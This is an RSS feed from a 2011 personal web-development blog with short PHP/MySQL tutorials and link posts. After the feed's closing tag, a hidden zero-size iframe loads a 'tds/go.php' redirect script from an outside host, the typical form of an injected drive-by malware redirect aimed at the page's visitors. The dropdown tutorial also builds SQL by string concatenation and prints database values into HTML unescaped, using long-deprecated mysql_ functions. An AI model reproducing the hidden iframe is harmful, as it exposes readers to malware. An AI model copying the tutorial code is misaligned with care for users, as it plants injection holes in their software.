<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Casey Fox</title>
	<atom:link href="http://casey-fox.com/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://casey-fox.com/blog</link>
	<description>Sweet Web Developer</description>
	<lastBuildDate>Fri, 21 Jan 2011 21:03:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.3</generator>
		<item>
		<title>str_replace</title>
		<link>http://casey-fox.com/blog/?p=40</link>
		<comments>http://casey-fox.com/blog/?p=40#comments</comments>
		<pubDate>Fri, 21 Jan 2011 21:03:42 +0000</pubDate>
		<dc:creator>Casey</dc:creator>
				<category><![CDATA[mySQL]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://casey-fox.com/blog/?p=40</guid>
		<description><![CDATA[This is going to be a short post, but since I haven&#8217;t posted in a while, it&#8217;s long overdue! Between finishing school (last quarter), working on my own projects, and a job, not a lot of time leftover So today, let&#8217;s look at the php code string replace (str_replace)l; This is especially handy when you [...]]]></description>
			<content:encoded><![CDATA[<p>This is going to be a short post, but since I haven&#8217;t posted in a while, it&#8217;s long overdue! Between finishing school (last quarter), working on my own projects, and a job, not a lot of time leftover <img src='http://casey-fox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So today, let&#8217;s look at the php code string replace (str_replace)l; This is especially handy when you want to take out spaces and replace with underscores (if you&#8217;re dynamically creating pages, links, etc). You can find and replace pretty much anything. Here&#8217;s some code:</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>$title = str_replace(" ", "_", $title);
</code></pre>
<p>Let&#8217;s assume $title is originally set to: <span style="color: #ff6600;">my new page</span></p>
<p>Once that is run through the code, $title will now be: <span style="color: #ff6600;">my_new_page</span></p>
<p>The code has three parts. The first section (&#8221; &#8220;) is seeking out all the spaces in the variable $title. It&#8217;s searching for what we want to change.</p>
<p>The second section (&#8220;_&#8221;), is telling it what to put in place of the spaces (or whatever you want to replace).</p>
<p>The third section ($title), is telling the code what variable is being changed (you can set the variable to edit a text file, html file, etc).</p>
<p>The first &#8220;$title&#8221; just means that I want to override the old content (with spaces) with the new content (with underscores). You can set it to a new variable if you&#8217;d rather, which would look like this:</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>$new_title = str_replace(" ", "_", $title);
</code></pre>
<p>And that&#8217;s about it! Very handy, especially if you want to change something just for display (like email addresses or birthdays), but keep the original info in the database.</p>
]]></content:encoded>
			<wfw:commentRss>http://casey-fox.com/blog/?feed=rss2&amp;p=40</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using the &#8220;Count&#8221; keyword for mySQL</title>
		<link>http://casey-fox.com/blog/?p=22</link>
		<comments>http://casey-fox.com/blog/?p=22#comments</comments>
		<pubDate>Fri, 10 Dec 2010 03:10:50 +0000</pubDate>
		<dc:creator>Casey</dc:creator>
				<category><![CDATA[mySQL]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://casey-fox.com/blog/?p=22</guid>
		<description><![CDATA[Working on my senior project (with is awesome btw), and needed to display the number of images I have in the database table. Turns out using the &#8220;count&#8221; keyword isn&#8217;t as straight forward as one would think! Starting off, we need to write the mySQL statement: $table = mysql_query("SELECT COUNT(*) FROM senior_photos"); What the says [...]]]></description>
			<content:encoded><![CDATA[<p>Working on my senior project (with is awesome btw), and needed to display the number of images I have in the database table. Turns out using the &#8220;count&#8221; keyword isn&#8217;t as straight forward as one would think!</p>
<p>Starting off, we need to write the mySQL statement:</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>$table = mysql_query("SELECT COUNT(*) FROM senior_photos");
</code></pre>
<p>What the says is that the &#8220;table&#8221; variable (one I created) is going to equal whatever the mySQL query returns. The query, in quotations, is selecting the info requested from the table &#8220;senior_photos&#8221;, and counting them. The results are displayed in a table, with the first spot containing the answer.</p>
<p>Now in order for php to be able to interpret the table, a few things have to happen:</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>$row = mysql_fetch_row($table);
</code></pre>
<p>For starters, I create a new variable, &#8220;row&#8221;, which is telling it where to find the row containing the information.</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>$column = $row[0];
</code></pre>
<p>Then the variable &#8220;column&#8221; (another one I created), is telling it to read the first column of the first row with &#8220;[0]&#8221; (already told it to look at the first row in the previous statement).</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>echo $column;
</code></pre>
<p>Then all that&#8217;s left is to echo the last variable, and we have our answer!</p>
<p>Voila! Finished code:</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>$table = mysql_query("SELECT COUNT(*) FROM senior_photos");

$row = mysql_fetch_row($table);

$column = $row[0];

echo "Total Images on Site: ".$column;
</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://casey-fox.com/blog/?feed=rss2&amp;p=22</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Views Nivo Slider for Drupal</title>
		<link>http://casey-fox.com/blog/?p=20</link>
		<comments>http://casey-fox.com/blog/?p=20#comments</comments>
		<pubDate>Wed, 08 Dec 2010 03:32:06 +0000</pubDate>
		<dc:creator>Casey</dc:creator>
				<category><![CDATA[CMS]]></category>
		<category><![CDATA[drupal]]></category>

		<guid isPermaLink="false">http://casey-fox.com/blog/?p=20</guid>
		<description><![CDATA[I was working on a Drupal project today, and needed a jquery slideshow. After trying one (with little success), I moved on to the Views Nivo Slider. Yes you have to download another 4-5 modules to get it working, but there are links to great youtube tutorials on exactly how to set everything up, and [...]]]></description>
			<content:encoded><![CDATA[<p>I was working on a Drupal project today, and needed a jquery slideshow. After trying one (with little success), I moved on to the <a href="http://drupal.org/project/views_nivo_slider" target="_blank">Views Nivo Slider</a>. Yes you have to download another 4-5 modules to get it working, but there are links to great youtube tutorials on exactly how to set everything up, and even how to customize the view to get it to show exactly what you want. For beginner Drupal users I highly recommend this module. For those more experienced, using views you can really make a sweet looking slideshow, especially nice for photographers!</p>
<p><a href="http://drupal.org/project/views_nivo_slider" target="_blank">Check it out!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://casey-fox.com/blog/?feed=rss2&amp;p=20</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Designing for CMS&#8217;s</title>
		<link>http://casey-fox.com/blog/?p=18</link>
		<comments>http://casey-fox.com/blog/?p=18#comments</comments>
		<pubDate>Mon, 06 Dec 2010 01:55:45 +0000</pubDate>
		<dc:creator>Casey</dc:creator>
				<category><![CDATA[CMS]]></category>
		<category><![CDATA[design]]></category>

		<guid isPermaLink="false">http://casey-fox.com/blog/?p=18</guid>
		<description><![CDATA[Interesting article about creating a design for a content management system (Drupal, Joomla, WordPress, etc) by Smashing Magazine. Check it out!]]></description>
			<content:encoded><![CDATA[<p>Interesting article about creating a design for a content management system (Drupal, Joomla, WordPress, etc) by Smashing Magazine.</p>
<p><a href="http://www.smashingmagazine.com/2010/11/22/designing-for-content-management-systems/">Check it out!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://casey-fox.com/blog/?feed=rss2&amp;p=18</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Creative Marketing</title>
		<link>http://casey-fox.com/blog/?p=15</link>
		<comments>http://casey-fox.com/blog/?p=15#comments</comments>
		<pubDate>Mon, 06 Dec 2010 00:59:40 +0000</pubDate>
		<dc:creator>Casey</dc:creator>
				<category><![CDATA[design]]></category>

		<guid isPermaLink="false">http://casey-fox.com/blog/?p=15</guid>
		<description><![CDATA[After trying to think of creative designs for my portfolio page, I came across this guy&#8217;s website. I LOVE how creative he was, the idea to turn yourself into an action figure just rocks! Check it out!]]></description>
			<content:encoded><![CDATA[<p>After trying to think of creative designs for my portfolio page, I came across this guy&#8217;s website. I LOVE how creative he was, the idea to turn yourself into an action figure just rocks!</p>
<p><a href="http://www.ayushsaran.com/">Check it out!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://casey-fox.com/blog/?feed=rss2&amp;p=15</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Php tips for beginners</title>
		<link>http://casey-fox.com/blog/?p=13</link>
		<comments>http://casey-fox.com/blog/?p=13#comments</comments>
		<pubDate>Sun, 31 Oct 2010 18:44:40 +0000</pubDate>
		<dc:creator>Casey</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://casey-fox.com/blog/?p=13</guid>
		<description><![CDATA[Mashable article with some nice tips for using php.]]></description>
			<content:encoded><![CDATA[<p><a href="http://mashable.com/2010/10/21/php-tips-for-beginners/">Mashable</a> article with some nice tips for using php.</p>
]]></content:encoded>
			<wfw:commentRss>http://casey-fox.com/blog/?feed=rss2&amp;p=13</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sweet PHP and mySQL dynamic dropdown</title>
		<link>http://casey-fox.com/blog/?p=9</link>
		<comments>http://casey-fox.com/blog/?p=9#comments</comments>
		<pubDate>Sun, 31 Oct 2010 02:37:40 +0000</pubDate>
		<dc:creator>Casey</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://casey-fox.com/blog/?p=9</guid>
		<description><![CDATA[After searching for several tutorials about making a dropdown menu based on content in mySQL database, I didn&#8217;t find one that had a great explanation (or some that didn&#8217;t even work properly). First off, the code: &#60;? $findFolder = mysql_query("SELECT * FROM folders where username = ".$_SESSION['id']); echo"&#60;select name='folder'&#62;"; while($folder = mysql_fetch_array($findFolder)) { ?&#62; &#60;option [...]]]></description>
			<content:encoded><![CDATA[<p>After searching for several tutorials about making a dropdown menu based on content in mySQL database, I didn&#8217;t find one that had a great explanation (or some that didn&#8217;t even work properly).</p>
<p>First off, the code:</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>&lt;?
  $findFolder = mysql_query("SELECT * FROM folders where username = ".$_SESSION['id']);

  echo"&lt;select name='folder'&gt;";

  while($folder = mysql_fetch_array($findFolder))
  {
    ?&gt;
      &lt;option value='&lt;?php echo $folder['folder']?&gt;'&gt;&lt;?php echo $folder['folder']?&gt;&lt;/option&gt;
    &lt;?
  }
    echo "&lt;/select&gt;";
?&gt;
</code></pre>
<p>First off you have run a mySQL select statement to go to your database and grab the information you&#8217;ll need. I&#8217;ve used the *, which selects all, but if you only need to display one column, replace the * with that name.</p>
<p>Second I echo the html code to open the selector.</p>
<p>Third I use the while loop, which will display all the selection options.</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>&lt;option value='&lt;?php echo $folder['folder']?&gt;'&gt;&lt;?php echo $folder['folder']?&gt;&lt;/option&gt;
</code></pre>
<p>I chose to write out this line in html, which seemed easier than echoing all the info, but the echo would look like this:</p>
<pre style="font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: #000000; background-color: #eeeeee; font-size: 12px; border: 1px dashed #999999; line-height: 14px; padding: 5px; overflow: auto; width: 100%;"><code>echo "&lt;option value='".$folder['folder']."'&gt;".$folder['folder']."&lt;/option&gt;";
</code></pre>
<p>What&#8217;s going on, if an option is being formed for every row in the table in the column &#8220;folder&#8221;. The section <em>$folder['folder']</em> needs to be in there twice, once as the value that will be passed through the form, the second to display the name in the browser (made that mistake once <img src='http://casey-fox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Then you simply close the select statement, and you&#8217;re done!</p>
]]></content:encoded>
			<wfw:commentRss>http://casey-fox.com/blog/?feed=rss2&amp;p=9</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
